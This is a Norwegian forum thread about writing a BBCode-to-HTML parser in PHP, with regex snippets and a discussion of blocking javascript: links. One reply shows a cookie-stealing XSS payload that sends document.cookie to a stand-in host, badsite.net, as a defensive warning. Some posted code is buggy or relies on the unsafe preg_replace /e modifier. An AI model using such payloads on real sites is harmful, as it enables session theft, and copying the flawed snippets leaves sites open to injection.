Gå til innhold

Hvordan lage BBCode


Anbefalte innlegg

Skrevet

(prøver igjen... må da være mulig å få lagt til et emne her..)

 

og vi prøver igjen!! Beklager alle de tomme emnene, men hvordan skulle jeg kunne vite at den la inn tomme emner i bakgrunnen når den til meg sa det var tekniske problemer og at jeg skulle prøve igjen senere kanskje?? Prøvde igjen senere flere ganger, og da jeg omsider gikk ut var det jo et lass av dem der.. og uten innlegget faktisk

 

men men!!

 

fikk et lite svar i en av dem, før den ble låst sammen med de andre: poenget var ikke lister over bbcode, eller hvordan å bruke det her, men hvordan å implementere det selv med php.

 

har brukt en liten kodesnutt jeg fant på wikipedia til å lage en enkel versjon i mitt lille cms:

<?php

function bbcode2html($strInput) {

return preg_replace(

array(

'/\\[url[\\:\\=]((\\"([\\W]*javascript\:[^\\"]*)?([^\\"]*)\\")|'.

'(([\\W]*javascript\:[^\\]]*)?([^\\]]*)))\\]/ie', '/\\[\\/url\\]/i',

'/\\[b\\]/i', '/\\[\/b\\]/i',

'/\\[i\\]/i', '/\\[\/i\\]/i',

'/\\

/i', '/\\[\/quote\\]/i'

),

array(

'\'<a href="\'.(\'$4\'?\'$4\':\'$7\').\'">\'', '</a>',

'<b>', '</b>',

'<i>', '</i>',

'<blockquote>', '</blockquote>'

),

$strInput

);

}

?>

har utvidet den litt, men lurer på et par ting.

 

1. hvordan man kan få til sånn som de har her med ]liste[ ]*[ ting ]*[ ting til ]/liste[ ? kunne brukt ]ul[ og ]li[ ]/li[ ]ul[ selvfølgelig.. men er nysgjerrig!!

 

2. er det noen grei måte å sikre at alle bbcode tagsene er lukket? sånn at de ikke messer opp resten av siden dersom de mangler en slutt? den jeg har brukt der erstatter jo åpning og slutt hver for seg liksom..

 

3. hvordan henter dem ut urlen i det scriptet ovenfor? hvis jeg fatta det kunne jeg jo istedet for å erstatte de tagsene hver for seg, erstatte ]b[noetekst]b[ med <b>noe tekst</b>, men hvordan overfører jeg den "noe tekst" liksom? vet det har noe med capturing groups å gjøre. men fatter ikke helt hvordan å bruke dem. spesielt ikke i denne preg_replace funksjonen... vet det er noe som heter named capturing groups også. mulig å bruke det her istedet for å måtte telle parenteser for å finne riktig liksom?

Videoannonse
Annonse
Skrevet

er ikke helt sikker på hva du mener men noe sånn her?

 

$text = $_POST["melding"];

 

$bbc = array("\n", "", "");

 

$html = aray("<br />", "<b>", "</b>");

 

 

str_replace($bbc, $html, $text);

Skrevet (endret)

Høhø, den spesifiserer to arrays som skal bytte ut newlines (entertast trykket) med <br />

 

OT:

Her på forumet søker den sannsyligvis ut teksten mellom [ *] og \n

Endret av Mads-b
Skrevet

men kan en ikke skrive lister på en linje her også?

 

*teste*

[liste][*]en ting[*]en ting til[/liste]

 

ellers så var jo det et godt forslag da. så sant jeg visste hvordan en hentet ut noe fra en regex.. igjen.. noen som har lyst til å gi meg et enkelt php eksempel på capturing groups? hehe. gjerne named og ikke..

Skrevet

Det burde gå, lag en regex som leter etter [*]text(endofline||[*]) er ikkje så oppdater når det gjelder regex så eg kan ikkje komme med eit konkret eksempel

Skrevet (endret)

Hvis du ikke skjønner hvordan du kan *lage* bbcodes, kan jeg vise det enkelt slik:

<?php
$melding = $_POST['melding'];
$melding = str_replace("[b]", "<b>"", $melding); // Ellers var det motsatt - <b> kommer før [b] (husker ikke helt)
echo "$melding";
?>

 

Da byttes taggen <b> med , og du får dermed fet skrift. (Et eksempel)

Endret av -Magne-
Skrevet
Å bruke str_replace for bb koder, er høl i huet.

 

bruk preg_replace. Hvis du bruker str_replace vil hele siden bli fucked hvis man f.eks glemmer å lukke en tag.

8120234[/snapback]

 

 

men nå prøver man jo alltid å lukke tag'en etter seg

Skrevet
Å bruke str_replace for bb koder, er høl i huet.

 

bruk preg_replace. Hvis du bruker str_replace vil hele siden bli fucked hvis man f.eks glemmer å lukke en tag.

8120234[/snapback]

 

 

men nå prøver man jo alltid å lukke tag'en etter seg

8120351[/snapback]

 

Nå håper jeg at du vet like godt som meg at det fins alltid folk som vil ødelegge eller prøve hvertfall. preg_replace her er overlegent bedre i forhold til str_replace.

Skrevet (endret)

jupp, bruker preg_replace. og har justert den til å kun bytte ut hele tags. for eksempel så erstatter jeg '/\\(.+)\\[\/b]/i' med '<strong>$1</strong>'.

 

men jeg lurer litt på hvordan jeg skal få til taggene. altså.. jeg har fått de til liksom, men de burde jo beskyttes mot javascript og sånt. så en ikke kan skrive [ url=javascript:alert("go away!")] eller sånt..

 

vil man kunne gjøre noe særlig skadelig med javascript dersom man ikke tillater " i url'en?

Endret av Tussi_qwerty
Skrevet
jupp, bruker preg_replace. og har justert den til å kun bytte ut hele tags. for eksempel så erstatter jeg '/\\(.+)\\[\/b]/i' med '<strong>$1</strong>'.

 

men jeg lurer litt på hvordan jeg skal få til taggene. altså.. jeg har fått de til liksom, men de burde jo beskyttes mot javascript og sånt. så en ikke kan skrive [ url=javascript:alert("go away!")] eller sånt..

 

vil man kunne gjøre noe særlig skadelig med javascript dersom man ikke tillater " i url'en?

 

Du må nok finne en måte og fjerne javascript: på. Eksempel på javascript uten '':

javascript:var t = /Go away/;alert(t.source);
javascript:var t=/http:\/\/www.badsite.net?cookie=/;window.location=t.source+document.cookie;

Skrevet (endret)

hva med denne?

 

\[ url=http://\"(http://%5b^\"]*)\"](.+)\[ /url]

 

den vil godta kun url'er som starter med http:// sant? noe en får gjort med javascript da? den lar en heller ikke avslutte med " og starte på noe nytt som onclick eller no sånt..

Endret av Tussi_qwerty
Skrevet

kom med en da :)

 

poenget er at jeg helst kun vil bruke kode jeg forstår, og helst har skrevet selv (vil lære). og noen av de kompliserte url matche greiene forstår jeg ikke litt av en gang. dvs, forstår litt, men så faller jeg av igjen..

  • 1 måned senere...
Skrevet
(21:23:14) (*) det er galskap å bruke _replace-funksjoner til sånt

(21:23:33) (*) regular expressions burde vært forbudt

(21:23:47) (*) bruk string-funksjoner til å parse teksten

Opprett en konto eller logg inn for å kommentere

Du må være et medlem for å kunne skrive en kommentar

Opprett konto

Det er enkelt å melde seg inn for å starte en ny konto!

Start en konto

Logg inn

Har du allerede en konto? Logg inn her.

Logg inn nå
  • Hvem er aktive   0 medlemmer

    • Ingen innloggede medlemmer aktive
×
×
  • Opprett ny...